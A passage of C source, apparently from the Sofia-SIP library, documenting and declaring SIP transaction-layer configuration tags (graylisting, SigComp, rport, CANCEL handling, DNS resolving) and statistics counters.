request sent to them has been failed. Avoiding means that if a * domain provides multiple servers, the failed servers are tried last. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned int * * @par Values * - Number of seconds that server is kept in graylist, from 0 to 86400. * * @par Default Value * - 600 (graylist server for 10 minutes) * * @sa NTATAG_BLACKLIST(), NTATAG_TIMEOUT_408() * * @NEW_1_12_8 */ EXPORT tag_typedef_t ntatag_graylist_ref; tag_typedef_t ntatag_graylist; /**@def NTATAG_BLACKLIST(x) * * Add Retry-After header to error responses returned to application. * * The NTATAG_BLACKLIST() provides a default value for @RetryAfter header * added to the internally generated responses such as <i>503 DNS Error</i> * or <i>408 Timeout</i>. The idea is that the application can retain its * current state and retry the operation after a while. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned int * * @par Values * - Value of @a delta-seconds in @RetryAfter header, from 0 to 86400 * * @par Default Value * - 0 (no @RetryAfter header is included) * * @sa NTATAG_TIMEOUT_408() */ EXPORT tag_typedef_t ntatag_blacklist_ref; tag_typedef_t ntatag_blacklist; /**@def NTATAG_DEBUG_DROP_PROB(x) * * Packet drop probability for debugging. * * The packet drop probability parameter is useful mainly for debugging * purposes. The stack drops an incoming message received over an unreliable * transport (such as UDP) with the given probability. The range is in 0 .. * 1000, 500 means p=0.5. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned integer * * @par Values * - Valid values are in range 0 ... 1000 * - Probablity to drop a given message is value / 1000. * * @par Default Value * - 0 (no packets are dropped) * * @sa TPTAG_DEBUG_DROP() */ EXPORT tag_typedef_t ntatag_debug_drop_prob_ref; tag_typedef_t ntatag_debug_drop_prob; /**@def NTATAG_SIGCOMP_OPTIONS(x) * * Semicolon-separated SigComp options. * * @note This tag is has no effect without a SigComp plugin. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params(), * nta_agent_add_tport() * * @par Parameter type * string * * @par Values * - semicolon-separated parameter-value pairs, passed to the SigComp plugin * * @sa NTATAG_COMP(), NTATAG_SIGCOMP_ALGORITHM(), NTATAG_SIGCOMP_AWARE(), * NTATAG_SIGCOMP_CLOSE(), @RFC3320 */ EXPORT tag_typedef_t ntatag_sigcomp_options_ref; tag_typedef_t ntatag_sigcomp_options; /**@def NTATAG_SIGCOMP_CLOSE(x) * * Close SigComp compartment after completing transaction. * * @note This tag is has no effect without a SigComp plugin. * * @par Used with * nta_incoming_set_params(), nta_incoming_treply() * nta_outgoing_mcreate(), nta_outgoing_tcreate(), * nta_outgoing_tmcreate(), nta_outgoing_tcancel(), * nta_outgoing_prack(), nta_msg_tsend(), nta_msg_treply() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - application takes care of compartment management * - false - stack manages compartments * * @sa NTATAG_COMP(), TPTAG_COMPARTMENT(), * NTATAG_SIGCOMP_ALGORITHM(), NTATAG_SIGCOMP_AWARE(), * NTATAG_SIGCOMP_OPTIONS(), @RFC3320 */ EXPORT tag_typedef_t ntatag_sigcomp_close_ref; tag_typedef_t ntatag_sigcomp_close; /**@def NTATAG_SIGCOMP_AWARE(x) * * Indicate that the application is SigComp-aware. * * @note This tag is has no effect without a SigComp plugin. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - application takes care of compartment management * - false - stack manages compartments * * @sa NTATAG_COMP(), NTATAG_SIGCOMP_ALGORITHM(), NTATAG_SIGCOMP_CLOSE(), * NTATAG_SIGCOMP_OPTIONS(), @RFC3320 */ EXPORT tag_typedef_t ntatag_sigcomp_aware_ref; tag_typedef_t ntatag_sigcomp_aware; /**@def NTATAG_SIGCOMP_ALGORITHM(x) * * Specify SigComp algorithm. * * @note This tag is has no effect without a SigComp plugin. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params(), * nta_agent_add_tport() * * @par Parameter type * string * * @par Values * - opaque string passed to the SigComp plugin * * @sa NTATAG_COMP(), NTATAG_SIGCOMP_AWARE(), NTATAG_SIGCOMP_CLOSE(), * NTATAG_SIGCOMP_OPTIONS(), @RFC3320 */ EXPORT tag_typedef_t ntatag_sigcomp_algorithm_ref; tag_typedef_t ntatag_sigcomp_algorithm; /**@def NTATAG_UA(x) * * If true, NTA acts as User Agent Server or Client by default. * * When acting as an UA, the NTA stack will * - respond with 481 to a PRACK request with no matching "100rel" response * - check for out-of-order CSeq headers for each #nta_leg_t dialog object * - if NTATAG_MERGE_482(1) is also used, return <i>482 Request Merged</i> to * a duplicate request with same @CallID, @CSeq, @From tag but different * topmost @Via header (see @RFC3261 section 8.2.2.2 Merged Requests) * - silently discard duplicate final responses to INVITE * - retransmit preliminary responses (101..199) to INVITE request in regular * intervals ("timer N2") * - retransmit 2XX response to INVITE request with exponential intervals * - handle ACK sent in 2XX response to an INVITE using the * #nta_ack_cancel_f callback bound to #nta_incoming_t with * nta_incoming_bind() * - not use timer C unless its value has been explicitly set * * @note This NUTAG_UA(1) is set internally by nua_create() * * @par Used with * nta_agent_create() \n * nta_agent_set_params() \n * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - act as an UA * - false - act as an proxy * * @par Default Value * - 0 (false) * * @sa NTATAG_MERGE_482() */ EXPORT tag_typedef_t ntatag_ua_ref; tag_typedef_t ntatag_ua; /**@def NTATAG_STATELESS(x) * * Enable stateless processing. * * @par Server side * The incoming requests are processed statefully if there is a default leg * (created with nta_leg_default()). This option is provided for proxies or * other server elements that process requests statelessly. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Values * - true - do not pass incoming requests to default leg * - false - pass incoming requests to default leg, if it exists * * @par Default Value * - 0 (false, pass incoming requests to default leg) * * @par Client side * The outgoing requests can be sent statelessly, too, if the * NTATAG_STATELESS(1) is included in the tag list of nta_outgoing_tcreate(). * * @par Used with * nta_outgoing_mcreate(), nta_outgoing_tcreate(), * nta_outgoing_tcancel(), nta_outgoing_prack() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - create only a transient #nta_outgoing_t transaction object * - false - create an ordinary client transaction object * * @par Default Value * - 0 (false, create client transaction) * * @sa NTATAG_IS_UA(), nta_incoming_default(), nta_outgoing_default(), * nta_leg_default() */ EXPORT tag_typedef_t ntatag_stateless_ref; tag_typedef_t ntatag_stateless; /**@def NTATAG_USER_VIA(x) * * Allow application to insert Via headers. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params(), * nta_outgoing_mcreate(), nta_outgoing_tcreate(), * nta_outgoing_tcancel(), nta_outgoing_prack(), nta_msg_tsend() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - do not add @Via header to the request (if it has one) * - false - always add a @Via header * * @par Default Value * - 0 (false, always add a @Via header) * * @sa NTATAG_BRANCH(), NTATAG_TPORT() */ EXPORT tag_typedef_t ntatag_user_via_ref; tag_typedef_t ntatag_user_via; /**@def NTATAG_PASS_100(x) * * Pass "<i>100 Trying</i>" provisional answers to the application. * * By default, the stack silently processes the <i>100 Trying</i> responses * from the server. Usually the <i>100 Trying</i> responses are not * important to the application but rather sent by the outgoing proxy * immediately after it has received the request. However, the application * can ask nta for them by setting NTATAG_PASS_100(1) if, for instance, the * <i>100 Trying</i> responses are needed for user feedback. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params(), * nta_outgoing_mcreate(), nta_outgoing_tcreate(), * nta_outgoing_tcancel(), nta_outgoing_prack(), nta_msg_tsend() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - pass <i>100 Trying</i> to application * - false - silently process <i>100 Trying</i> responses * * @par Default Value * - 0 (false, save application from seeing 100 Trying) * * @sa NTATAG_EXTRA_100(), NTATAG_DEFAULT_PROXY() */ EXPORT tag_typedef_t ntatag_pass_100_ref; tag_typedef_t ntatag_pass_100; /**@def NTATAG_EXTRA_100(x) * * Respond with "100 Trying" if application has not responded. * * As per recommended by @RFC4320, the stack can generate a 100 Trying * response to the non-INVITE requests if the application has not responded * to a request within half of the SIP T2 (the default value for T2 is 4000 * milliseconds, so the extra <i>100 Trying</i> would be sent after 2 seconds). * * At agent level, this option applies to retransmissions of both non-INVITE * and INVITE transactions. * * At incoming request level, this option can disable sending the 100 Trying for * both retransmissions (if set at agent level) and N1 firings, for just a given * incoming request. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params(), * nta_incoming_set_params() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - send extra 100 Trying if application does not respond * - false - do not send 100 Trying * * @par Default Value at Agent level * - 0 (false, do not respond with 100 Trying to retransmissions) * * @par Default Value at incoming transaction level * - 1 (true, respond with 100 Trying to retransmissions and when N1 fired) * * @sa @RFC4320, NTATAG_PASS_408(), NTATAG_TIMEOUT_408() */ EXPORT tag_typedef_t ntatag_extra_100_ref; tag_typedef_t ntatag_extra_100; /**@def NTATAG_TIMEOUT_408(x) * * Generate "408 Request Timeout" response when request times out. * * This tag is used to prevent stack from generating extra 408 response * messages to non-INVITE requests upon timeout. As per recommended by * @RFC4320, the <i>408 Request Timeout</i> responses to non-INVITE * transaction are not sent over the network to the client by default. The * application can ask stack to pass the 408 responses with * NTATAG_PASS_408(1). * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - generate 408 response * - false - invoke #nta_response_f callback with NULL sip pointer * when a non-INVITE transaction times out * * @sa @RFC4320, NTATAG_PASS_408(), NTATAG_EXTRA_100(), */ EXPORT tag_typedef_t ntatag_timeout_408_ref; tag_typedef_t ntatag_timeout_408; /**@def NTATAG_PASS_408(x) * * Pass "408 Request Timeout" responses to the client. * * As per recommended by @RFC4320, the <i>408 Request Timeout</i> responses * to non-INVITE transaction are not sent over the network to the client by * default. The application can ask stack to pass the 408 responses with * NTATAG_PASS_408(1). * * Note that unlike NTATAG_PASS_100(), this tags changes the way server side * works. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - pass superfluous 408 responses * - false - discard superfluous 408 responses * * @sa @RFC4320, NTATAG_EXTRA_100(), NTATAG_TIMEOUT_408() * */ EXPORT tag_typedef_t ntatag_pass_408_ref; tag_typedef_t ntatag_pass_408; /**@def NTATAG_MERGE_482(x) * * Merge requests, send 482 to other requests. * * If an User-Agent receives a duplicate request with same @CallID, @CSeq, * @From tag but different topmost @Via header (see @RFC3261 section 8.2.2.2 * Merged Requests), it should return <i>482 Request Merged</i> response to * the duplicate request. Such a duplicate request has been originally * generated by a forking proxy and usually routed via different route to * the User-Agent. The User-Agent should only respond meaningfully to the * first request and return the 482 response to the following forked * requests. * * Note that also NTATAG_UA(1) should be set before nta detects merges and * responds with 482 to them. * * @note If your application is an multi-lined user-agent, you may consider * disabling request merging. However, you have to somehow handle merging * within a single line. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - detect duplicate requests and respond with 482 to them * - false - process duplicate requests separately * * @sa NTATAG_UA(1) */ EXPORT tag_typedef_t ntatag_merge_482_ref; tag_typedef_t ntatag_merge_482; /**@def NTATAG_CANCEL_2543(x) * *Follow @RFC2543 semantics with CANCEL. * * By default, the nta follows "@RFC3261" semantics when CANCELing a * request. The CANCEL does not terminate transaction, rather, it is just a * hint to the server that it should respond immediately (with <i>487 * Request Terminated</i> if it has no better response). Also, if the * original request was sent over unreliable transport such as UDP, the * CANCEL is delayed until the server has sent a preliminary response to the * original request. * * If NTATAG_CANCEL_2543(1) is given, the transaction is canceled * immediately internally (a 487 response is generated locally) and the * CANCEL request is sent without waiting for an provisional response. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * nta_outgoing_tcancel() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - follow "RFC 2543" semantics with CANCEL * - false - follow "RFC 3261" semantics with CANCEL * * @sa NTATAG_CANCEL_408() */ EXPORT tag_typedef_t ntatag_cancel_2543_ref; tag_typedef_t ntatag_cancel_2543; /**@def NTATAG_CANCEL_408(x) * * Do not send a CANCEL but just timeout the request. * * Calling nta_outgoing_tcancel() with this tag set marks request as * canceled but does not actually send a CANCEL request. If * NTATAG_CANCEL_2543(1) is also included, a 487 response is generated * internally. * * @par Used with * nta_outgoing_tcancel() \n * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - do not send CANCEL * - false - let request to timeout * * @sa NTATAG_CANCEL_2543() */ EXPORT tag_typedef_t ntatag_cancel_408_ref; tag_typedef_t ntatag_cancel_408; /**@def NTATAG_CANCEL_487(x) * * When a CANCEL is received, automatically return 487 response to original request. * * When the CANCEL is received for an ongoing server transaction * #nta_incoming_t, the stack will automatically return a <i>487 Request * Terminated</i> response to the client after returning from the * #nta_incoming_f callback bound to the transaction with * nta_incoming_bind() * * The application can delay sending the response to the original request * when NTATAG_CANCEL_408(0) is used. This is useful, for instance, with a * proxy that forwards the CANCEL downstream and the forwards the response * back to upstream. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - respond automatically to the CANCELed transaction * - false - application takes care of responding * * @sa NTATAG_CANCEL_2543(), nta_incoming_bind() */ EXPORT tag_typedef_t ntatag_cancel_487_ref; tag_typedef_t ntatag_cancel_487; /**@def NTATAG_TAG_3261(x) * * When responding to requests, use unique tags. * * If set the UA would generate an unique @From/@To tag for all dialogs. If * unset UA would reuse same tag in order to make it easier to re-establish * dialog state after a reboot. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - use different tag for each dialog * - false - use same tag for all dialogs * * @sa @RFC3261 section 12.2.2 */ EXPORT tag_typedef_t ntatag_tag_3261_ref; tag_typedef_t ntatag_tag_3261; /**@def NTATAG_REL100(x) * * Include rel100 in INVITE requests. * * Include feature tag "100rel" in @Supported header of the INVITE requests. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - include "100rel" * - false - do not include "100rel" * * @sa nta_outgoing_prack(), nta_reliable_treply(), nta_reliable_mreply() */ EXPORT tag_typedef_t ntatag_rel100_ref; tag_typedef_t ntatag_rel100; /**@def NTATAG_NO_DIALOG(x) * * Create a leg without dialog. */ EXPORT tag_typedef_t ntatag_no_dialog_ref; tag_typedef_t ntatag_no_dialog; /**@def NTATAG_USE_TIMESTAMP(x) * * Use @Timestamp header. * * If set, a @Timestamp header would be added to stateful requests. The * header can be used to calculate the roundtrip transport latency between * client and server. * * @par Used with * nua_create(), * nta_agent_create(), * nta_agent_set_params(), * nta_outgoing_mcreate(), nta_outgoing_tcreate(), * nta_outgoing_tcancel(), and nta_outgoing_prack(). * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - Add @Timestamp header * - false - do not add @Timestamp header * * @sa @RFC3261 section 8.2.6 */ EXPORT tag_typedef_t ntatag_use_timestamp_ref; tag_typedef_t ntatag_use_timestamp; /**@def NTATAG_SIPFLAGS(x) * * Set SIP parser flags. * * The SIP parser flags affect how the messages are parsed and the result * presented to the application. They also control encoding of messages. * The most important flags are as follows: * - MSG_FLG_COMPACT - use compact form * (single-letter header names, minimum whitespace) * - MSG_FLG_EXTRACT_COPY - cache printable copy of headers when parsing. * Using this flag can speed up proxy processing considerably. It is * implied when the parsed messages are logged (because #TPORT_LOG * environment variable is set, or TPTAG_LOG() is used. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned int * * @par Values * - Bitwise OR of SIP parser flags (enum #msg_flg_user) * * @sa NTATAG_PRELOAD(), enum #msg_flg_user, sip_s::sip_flags */ EXPORT tag_typedef_t ntatag_sipflags_ref; tag_typedef_t ntatag_sipflags; /**@def NTATAG_CLIENT_RPORT(x) * * Enable client-side "rport". * * This tag controls @RFC3581 support on client side. The "rport" parameter * is used when the response has to be routed symmetrically through a NAT box. * * The client-side support involves just adding the "rport" parameter to the topmost * @Via header before the request is sent. * * @note By default, the client "rport" is disabled when nta is used, and * enabled when nua is used. * * @par Used with * nua_create() (nua uses NTATAG_CLIENT_RPORT(1) by default) \n * nta_agent_create() \n * nta_agent_set_params() \n * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - add "rport" parameter * - false - do not add "rport" parameter * * @note The NTATAG_RPORT() is a synonym for this. * * @sa @RFC3581, NTATAG_SERVER_RPORT(), NTATAG_TCP_RPORT(), NTATAG_TLS_RPORT(), @Via */ EXPORT tag_typedef_t ntatag_client_rport_ref; tag_typedef_t ntatag_client_rport; /**@def NTATAG_SERVER_RPORT(x) * * Use rport parameter at server. * * This tag controls @RFC3581 support on server side. The "rport" parameter * is used when the response has to be routed symmetrically through a NAT * box. * * If the topmost @Via header has an "rport" parameter, the server stores * the port number from which the request was sent in it. When sending the * response back to the client, the server uses the port number in the * "rport" parameter rather than the client-supplied port number in @Via * header. * * Note that on server-side the port number is stored regardless of the * transport protocol. (It is assumed that client supports rport if it * includes "rport" parameter in @Via field). * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - 3 - add "rport" parameter even if was not present in request * @b and if client User-Agent is "Polycom" * - 2 - add "rport" parameter even if was not present in request * - 1 - use "rport" parameter (default) * - 0 - do not use "rport" parameter * * @sa @RFC3581, NTATAG_CLIENT_RPORT(), NTATAG_TCP_RPORT(), NTATAG_TLS_RPORT(), @Via * * @since Tag type and NTATAG_SERVER_RPORT(2) was added in @VERSION_1_12_9. */ EXPORT tag_typedef_t ntatag_server_rport_ref; tag_typedef_t ntatag_server_rport; /**@def NTATAG_TCP_RPORT(x) * * Use rport with TCP, too. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - include rport parameter in the TCP via line on client side * - false - do not include rport parameter in the TCP via line on client side * * @sa @RFC3581, NTATAG_CLIENT_RPORT(), NTATAG_SERVER_RPORT(), @Via */ EXPORT tag_typedef_t ntatag_tcp_rport_ref; tag_typedef_t ntatag_tcp_rport; /**@def NTATAG_TLS_RPORT(x) * * Use rport with TLS, too. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - include rport parameter in the TLS via line on client side * - false - do not include rport parameter in the TLS via line * on client side * * @sa @RFC3581, NTATAG_CLIENT_RPORT(), NTATAG_SERVER_RPORT(), @Via * * @NEW_1_12_10 */ EXPORT tag_typedef_t ntatag_tls_rport_ref; tag_typedef_t ntatag_tls_rport; /**@def NTATAG_PRELOAD(x) * * Preload by N bytes. * * When the memory block is allocated for an incoming request by the stack, * the stack can allocate some extra memory for the parser in addition to * the memory used by the actual message contents. * * While wasting some memory, this can speed up parsing considerably. * Recommended amount of preloading per packet is 1500 bytes. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned * * @par Values * Amount of extra per-message memory allocated for parser. * * @sa NTATAG_SIPFLAGS() and #MSG_FLG_EXTRACT_COPY */ EXPORT tag_typedef_t ntatag_preload_ref; tag_typedef_t ntatag_preload; /**@def NTATAG_USE_NAPTR(x) * * If true, try to use NAPTR records when resolving. * * The application can disable NTA from using NAPTR records when resolving * SIP URIs. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - enable NAPTR resolving * - false - disable NAPTR resolving * * @bug NAPTRs are not used with SIPS URIs in any case. * * @sa @RFC3263, NTATAG_USE_SRV() */ EXPORT tag_typedef_t ntatag_use_naptr_ref; tag_typedef_t ntatag_use_naptr; /**@def NTATAG_USE_SRV(x) * * If true, try to use SRV records when resolving. * * The application can disable NTA from using SRV records when resolving * SIP URIs. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * boolean: true (non-zero or non-NULL pointer) * or false (zero or NULL pointer) * * @par Values * - true - enable SRV resolving * - false - disable SRV resolving * * @sa @RFC3263, NTATAG_USE_NAPTR() */ EXPORT tag_typedef_t ntatag_use_srv_ref; tag_typedef_t ntatag_use_srv; /**@def NTATAG_RSEQ(x) * * @RSeq value for nta_outgoing_prack(). * * @par Used with * nta_outgoing_prack() * * @par Parameter type * @c unsigned @c int * * @par Values * Response sequence number from the @RSeq header. */ EXPORT tag_typedef_t ntatag_rseq_ref; tag_typedef_t ntatag_rseq; /* Status */ /**@def NTATAG_S_IRQ_HASH_REF(x) * * Get size of hash table for server-side transactions. * * Return number of transactions that fit in the hash table for server-side * transactions. * * @sa nta_agent_get_stats(), NTATAG_S_IRQ_HASH_USED_REF(), * NTATAG_S_ORQ_HASH_REFxs(), NTATAG_S_LEG_HASH_REF() */ EXPORT tag_typedef_t ntatag_s_irq_hash_ref; tag_typedef_t ntatag_s_irq_hash; /**@def NTATAG_S_ORQ_HASH_REF(x) * * Get size of hash table for client-side transactions. * * Return number of transactions that fit in the hash table for client-side * transactions. * * @sa nta_agent_get_stats(), NTATAG_S_ORQ_HASH_USED_REF(), * NTATAG_S_IRQ_HASH_REF(), NTATAG_S_LEG_HASH_REF() */ EXPORT tag_typedef_t ntatag_s_orq_hash_ref; tag_typedef_t ntatag_s_orq_hash; /**@def NTATAG_S_LEG_HASH_REF(x) * * Get size of hash table for dialogs. * * Return number of dialog objects that fit in the hash table for dialogs. * * @sa nta_agent_get_stats(), NTATAG_S_LEG_HASH_USED_REF(), * NTATAG_S_IRQ_HASH_REF(), NTATAG_S_ORQ_HASH_REF() */ EXPORT tag_typedef_t ntatag_s_leg_hash_ref; tag_typedef_t ntatag_s_leg_hash; /**@def NTATAG_S_IRQ_HASH_USED_REF(x) * * Get number of server-side transactions in the hash table. * * Return number of server-side transactions objects in the hash table. The * number includes all transactions destroyed by the application which have * not expired yet. * * @sa nta_agent_get_stats(), NTATAG_S_IRQ_HASH_REF(), * NTATAG_S_ORQ_HASH_USED_REF(), NTATAG_S_LEG_HASH_USED_REF() */ /**@def NTATAG_S_IRQ_HASH_USED_REF(x) * * Get number of server-side transactions in the hash table. * * Return number of server-side transactions objects in the hash table. The * number includes all transactions destroyed by the application which have * not expired yet. * * @sa nta_agent_get_stats(), NTATAG_S_IRQ_HASH_REF(), * NTATAG_S_ORQ_HASH_USED_REF(), NTATAG_S_LEG_HASH_USED_REF() */ EXPORT tag_typedef_t ntatag_s_irq_hash_used_ref; tag_typedef_t ntatag_s_irq_hash_used; /**@def NTATAG_S_ORQ_HASH_USED_REF(x) * * Get number of client-side transactions in the hash table. * * Return number of client-side transactions objects in the hash table. The * number includes all transactions destroyed by the application which have * not expired yet. * * @sa nta_agent_get_stats(), NTATAG_S_ORQ_HASH_REF(), * NTATAG_S_IRQ_HASH_USED_REF(), NTATAG_S_LEG_HASH_USED_REF() */ EXPORT tag_typedef_t ntatag_s_orq_hash_used_ref; tag_typedef_t ntatag_s_orq_hash_used; /**@def NTATAG_S_LEG_HASH_USED_REF(x) * * Get number of dialogs in the hash table. * * Return number of dialog objects in the hash table. Note that the * nta_leg_t objects created with NTATAG_NO_DIALOG(1) and this not * corresponding to a dialog are not included in the number. * * @sa nta_agent_get_stats(), NTATAG_S_LEG_HASH_REF(), * NTATAG_S_IRQ_HASH_USED_REF(), NTATAG_S_ORQ_HASH_USED_REF() */ EXPORT tag_typedef_t ntatag_s_leg_hash_used_ref; tag_typedef_t ntatag_s_leg_hash_used; /**@def NTATAG_S_RECV_MSG_REF(x) * * Get number of SIP messages received. * * Return number SIP messages that has been received. The number includes * also bad and unparsable messages. * * @sa nta_agent_get_stats(), NTATAG_S_BAD_MESSAGE_REF(), * NTATAG_S_RECV_REQUEST_REF(), NTATAG_S_RECV_RESPONSE_REF() */ EXPORT tag_typedef_t ntatag_s_recv_msg_ref; tag_typedef_t ntatag_s_recv_msg; /**@def NTATAG_S_RECV_REQUEST_REF(x) * * Get number of SIP requests received. * * Return number SIP requests that has been received. The number includes * also number of bad requests available with NTATAG_S_BAD_REQUEST_REF(). * * @sa nta_agent_get_stats(), NTATAG_S_BAD_REQUEST_REF(), * NTATAG_S_RECV_MSG_REF(), NTATAG_S_RECV_RESPONSE_REF() */ EXPORT tag_typedef_t ntatag_s_recv_request_ref; tag_typedef_t ntatag_s_recv_request; /**@def NTATAG_S_RECV_RESPONSE_REF(x) * * Get number of SIP responses received. * * Return number SIP responses that has been received. The number includes * also number of bad and unusable responses available with * NTATAG_S_BAD_RESPONSE_REF(). * * @sa nta_agent_get_stats(), NTATAG_S_BAD_RESPONSE_REF(), * NTATAG_S_RECV_MSG_REF(), NTATAG_S_RECV_REQUEST_REF() */ EXPORT tag_typedef_t ntatag_s_recv_response_ref; tag_typedef_t ntatag_s_recv_response; /**@def NTATAG_S_BAD_MESSAGE_REF(x) * * Get number of bad SIP messages received. * * Return number of bad SIP messages that has been received. * * @sa nta_agent_get_stats(), NTATAG_S_RECV_MSG_REF(), * NTATAG_S_BAD_REQUEST_REF(), NTATAG_S_BAD_RESPONSE_REF(). */ EXPORT tag_typedef_t ntatag_s_bad_message_ref; tag_typedef_t ntatag_s_bad_message; /**@def NTATAG_S_BAD_REQUEST_REF(x) * * Get number of bad SIP requests received. * * Return number of bad SIP requests that has been received. * * @sa nta_agent_get_stats(), NTATAG_S_BAD_MESSAGE_REF(), * NTATAG_S_BAD_RESPONSE_REF(). */ EXPORT tag_typedef_t ntatag_s_bad_request_ref; tag_typedef_t ntatag_s_bad_request; /**@def NTATAG_S_BAD_RESPONSE_REF(x) * * Get number of bad SIP responses received. * * Return number of bad SIP responses that has been received. * * @sa nta_agent_get_stats(), NTATAG_S_BAD_MESSAGE_REF(), * NTATAG_S_BAD_REQUEST_REF() */ EXPORT tag_typedef_t ntatag_s_bad_response_ref; tag_typedef_t ntatag_s_bad_response; /**@def NTATAG_S_DROP_REQUEST_REF(x) * * Get number of SIP requests dropped. * * Return number of SIP requests that has been randomly dropped after * receiving them because of NTATAG_DEBUG_DROP_PROB() has been set. * * @sa nta_agent_get_stats(), NTATAG_DEBUG_DROP_PROB(), * NTATAG_S_DROP_RESPONSE_REF() * * @note The value was not calculated before @VERSION_1_12_7. */ EXPORT tag_typedef_t ntatag_s_drop_request_ref; tag_typedef_t ntatag_s_drop_request; /**@def NTATAG_S_DROP_RESPONSE_REF(x) * * Get number of SIP responses dropped. * * Return number of SIP responses that has been randomly dropped after * receiving them because of NTATAG_DEBUG_DROP_PROB() has been set. * * @sa nta_agent_get_stats(), NTATAG_DEBUG_DROP_PROB(), * NTATAG_S_DROP_REQUEST_REF() * * @note The value was not calculated before @VERSION_1_12_7. */ EXPORT tag_typedef_t ntatag_s_drop_response_ref; tag_typedef_t ntatag_s_drop_response; /**@def NTATAG_S_CLIENT_TR_REF(x) * * Get number of client transactions created. * * Return number of client transactions created. The number also includes * client transactions with which stack failed to send the request because * the DNS resolving failed or the transport failed. * * @note The number include stateless requests sent with nta_msg_tsend(), * too. * * @sa nta_agent_get_stats(), NTATAG_S_SENT_REQUEST_REF(), * NTATAG_S_SERVER_TR_REF(). */ EXPORT tag_typedef_t ntatag_s_client_tr_ref; tag_typedef_t ntatag_s_client_tr; /**@def NTATAG_S_SERVER_TR_REF(x) * * Get number of server transactions created. * * Return number of server transactions created. * * @sa nta_agent_get_stats(), NTATAG_S_RECV_RESPONSE_REF(), * NTATAG_S_CLIENT_TR_REF(), NTATAG_S_DIALOG_TR_REF(), */ EXPORT tag_typedef_t ntatag_s_server_tr_ref; tag_typedef_t ntatag_s_server_tr; /**@def NTATAG_S_DIALOG_TR_REF(x) * * Get number of in-dialog server transactions created. * * Return number of in-dialog server transactions created. The number * includes only those transactions that were correlated with a dialog * object. * * @sa nta_agent_get_stats(), NTATAG_S_SERVER_TR_REF(), * NTATAG_S_CLIENT_TR_REF(), NTATAG_S_RECV_RESPONSE_REF(). */ EXPORT tag_typedef_t ntatag_s_dialog_tr_ref; tag_typedef_t ntatag_s_dialog_tr; /**@def NTATAG_S_ACKED_TR_REF(x) * * Get number of server transactions that have received ACK. * * Return number of INVITE server transactions for which an ACK request has * been received. * * @sa nta_agent_get_stats(), NTATAG_S_SERVER_TR_REF(), * NTATAG_S_CANCELED_TR_REF() */ EXPORT tag_typedef_t ntatag_s_acked_tr_ref; tag_typedef_t ntatag_s_acked_tr; /**@def 